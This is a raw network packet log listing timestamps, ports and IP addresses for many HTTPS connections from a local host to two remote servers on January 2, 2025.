Jan 2, 2025 20:29:51.970422983 CET	443	49960	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.138465881 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.138648033 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.160350084 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.160367012 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.160825968 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.163151979 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.172240973 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.219320059 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.244324923 CET	443	49956	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.244390965 CET	49956	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.244405985 CET	443	49956	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.244457960 CET	49956	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.245039940 CET	443	49956	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.245085001 CET	443	49956	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.245098114 CET	49956	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.245151997 CET	49956	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.245888948 CET	49956	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.245898962 CET	443	49956	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.246705055 CET	49968	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.246752024 CET	443	49968	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.246829033 CET	49968	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.247092962 CET	49968	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.247112989 CET	443	49968	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.287614107 CET	443	49959	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.287663937 CET	443	49959	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.287688017 CET	49959	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.287694931 CET	443	49959	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.287704945 CET	49959	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.287734032 CET	49959	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.287745953 CET	443	49959	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.287786007 CET	443	49959	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.287802935 CET	49959	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.287838936 CET	49959	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.288465023 CET	49959	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.288475990 CET	443	49959	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.288964033 CET	49970	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.288989067 CET	443	49970	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.289035082 CET	49970	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.289239883 CET	49970	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.289262056 CET	443	49970	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.348714113 CET	443	49960	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.348771095 CET	49960	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.348793983 CET	443	49960	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.348835945 CET	49960	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.349199057 CET	443	49960	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.349241972 CET	443	49960	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.349282980 CET	49960	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.352844954 CET	49960	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.352859974 CET	443	49960	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.389693975 CET	49971	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.389731884 CET	443	49971	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.389895916 CET	49971	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.393806934 CET	49971	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.393819094 CET	443	49971	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.596820116 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.596863031 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.596894026 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.596894026 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.596908092 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.596951962 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.599096060 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.599155903 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.599162102 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.599175930 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.599234104 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.599234104 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.599234104 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.599241972 CET	443	49961	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.599303961 CET	49961	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.600923061 CET	49972	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.600949049 CET	443	49972	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.601013899 CET	49972	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.601350069 CET	49972	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.601365089 CET	443	49972	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.958817005 CET	443	49970	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.958935022 CET	49970	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.959525108 CET	49970	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.959537029 CET	443	49970	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.961626053 CET	49970	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:52.961632013 CET	443	49970	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:52.977194071 CET	443	49968	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.977255106 CET	49968	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.978208065 CET	49968	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.978216887 CET	443	49968	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:52.978512049 CET	49968	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:52.978518963 CET	443	49968	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.059370041 CET	443	49971	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.060487986 CET	49971	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.085035086 CET	49971	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.085064888 CET	443	49971	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.085242033 CET	49971	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.085247040 CET	443	49971	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.104891062 CET	49972	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:53.105053902 CET	49970	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:53.105142117 CET	49968	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.114476919 CET	49978	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.114512920 CET	443	49978	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.114610910 CET	49978	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.115622997 CET	49978	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.115638971 CET	443	49978	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.542496920 CET	443	49971	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.542562008 CET	443	49971	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.542561054 CET	49971	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.542795897 CET	49971	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.542848110 CET	49971	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.542864084 CET	443	49971	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.543701887 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:53.543728113 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:53.543819904 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:53.544044971 CET	49986	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.544070959 CET	443	49986	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.544145107 CET	49986	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.544230938 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:53.544245958 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:53.544358969 CET	49986	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.544377089 CET	443	49986	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.745970964 CET	443	49978	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.749010086 CET	49978	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.779232025 CET	49978	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.779243946 CET	443	49978	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:53.781244993 CET	49978	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:53.781250954 CET	443	49978	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.128027916 CET	443	49978	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.128803015 CET	443	49978	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.128925085 CET	49978	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.139300108 CET	49978	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.139322996 CET	443	49978	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.139333010 CET	49978	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.139415979 CET	49978	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.140103102 CET	49988	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.140194893 CET	443	49988	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.140276909 CET	49988	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.140408039 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.140429974 CET	443	49989	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.140503883 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.142281055 CET	49988	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.142312050 CET	443	49988	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.142951012 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.142966032 CET	443	49989	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.188559055 CET	443	49986	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.188640118 CET	49986	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.189953089 CET	49986	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.189960957 CET	443	49986	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.190164089 CET	49986	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.190169096 CET	443	49986	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.198318005 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.198421955 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.200006962 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.200025082 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.200280905 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.200368881 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.200953007 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.247333050 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.614124060 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.614188910 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.614299059 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.614306927 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.614356041 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.615741968 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.615792990 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.615801096 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.615875959 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.673353910 CET	443	49986	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.674575090 CET	443	49986	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.674725056 CET	49986	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.770422935 CET	443	49989	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.772625923 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.782123089 CET	443	49988	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.782207012 CET	49988	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.859721899 CET	49988	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.859762907 CET	443	49988	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.860093117 CET	443	49988	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.860557079 CET	49985	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.860572100 CET	443	49985	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.860584021 CET	49988	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.861377001 CET	49988	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.861466885 CET	49986	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.861485004 CET	443	49986	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.861496925 CET	49986	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.861536026 CET	49986	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.861968040 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.862001896 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.862116098 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.862149954 CET	443	49997	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.862159967 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.862438917 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.862612009 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.862631083 CET	443	49997	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.868423939 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.868437052 CET	443	49989	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.868587017 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:54.868592978 CET	443	49989	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:54.869743109 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:54.869756937 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:54.907330990 CET	443	49988	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.227818966 CET	443	49989	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.229186058 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.231331110 CET	443	49989	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.231369019 CET	443	49989	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.231390953 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.231419086 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.233042002 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.233053923 CET	443	49989	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.233066082 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.233463049 CET	49989	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.233635902 CET	50002	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.233665943 CET	443	50002	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.235352993 CET	50002	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.237926006 CET	50002	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.237943888 CET	443	50002	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.273171902 CET	443	49988	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.273210049 CET	443	49988	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.273319960 CET	443	49988	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.273364067 CET	49988	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.273415089 CET	49988	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.274389029 CET	49988	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.274415016 CET	443	49988	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.277651072 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.277702093 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.277846098 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.278086901 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.278104067 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.570698023 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.570766926 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.571235895 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.571247101 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.571480036 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.571487904 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.579363108 CET	443	49997	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.579425097 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.579910040 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.579926014 CET	443	49997	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.581810951 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.581826925 CET	443	49997	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.887655020 CET	443	50002	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.887720108 CET	50002	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.888484955 CET	50002	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.888492107 CET	443	50002	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.888796091 CET	50002	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.888801098 CET	443	50002	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.934269905 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.934348106 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.934897900 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.934909105 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.935154915 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:55.935162067 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:55.966062069 CET	443	49997	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.966131926 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.966566086 CET	443	49997	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.966608047 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.966617107 CET	443	49997	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.966651917 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.967000961 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.967014074 CET	443	49997	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.967032909 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.967061996 CET	49997	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.967673063 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.967741966 CET	443	50007	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:55.967792034 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.968509912 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:55.968523979 CET	443	50007	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.012793064 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.012846947 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.012886047 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.012886047 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.012917995 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.012970924 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.013611078 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.013645887 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.013659000 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.013709068 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.013807058 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.013807058 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.013818979 CET	443	49996	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.013887882 CET	49996	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.014395952 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.014431000 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.014493942 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.014785051 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.014800072 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.282874107 CET	443	50002	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.282939911 CET	50002	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.282952070 CET	443	50002	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.283015966 CET	50002	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.283214092 CET	50002	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.283253908 CET	443	50002	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.283305883 CET	50002	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.284178972 CET	50012	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.284228086 CET	443	50012	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.284290075 CET	50012	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.284557104 CET	50012	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.284574032 CET	443	50012	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.347687006 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.347723007 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.347750902 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.347769976 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.347786903 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.347807884 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.347812891 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.347858906 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.347913980 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.347913980 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.348722935 CET	50004	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.348745108 CET	443	50004	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.349353075 CET	50013	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.349409103 CET	443	50013	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.349466085 CET	50013	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.349701881 CET	50013	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.349724054 CET	443	50013	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.626852036 CET	443	50007	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.626928091 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.627651930 CET	443	50007	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.627707005 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.629465103 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.629477978 CET	443	50007	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.629740000 CET	443	50007	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.629791021 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.630224943 CET	50007	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.675338984 CET	443	50007	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.689121962 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.689222097 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.689701080 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.689709902 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.691914082 CET	50011	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:56.691919088 CET	443	50011	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:56.945836067 CET	443	50012	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.945919991 CET	50012	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.946615934 CET	443	50012	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.946675062 CET	50012	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.953490973 CET	50012	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.953500032 CET	443	50012	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.953828096 CET	443	50012	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:56.953887939 CET	50012	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.954338074 CET	50012	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:56.995368958 CET	443	50012	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:57.008122921 CET	443	50013	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:57.008219004 CET	50013	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.008883953 CET	50013	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:57.008900881 CET	443	50013	216.58.206.65	192.168.2.9
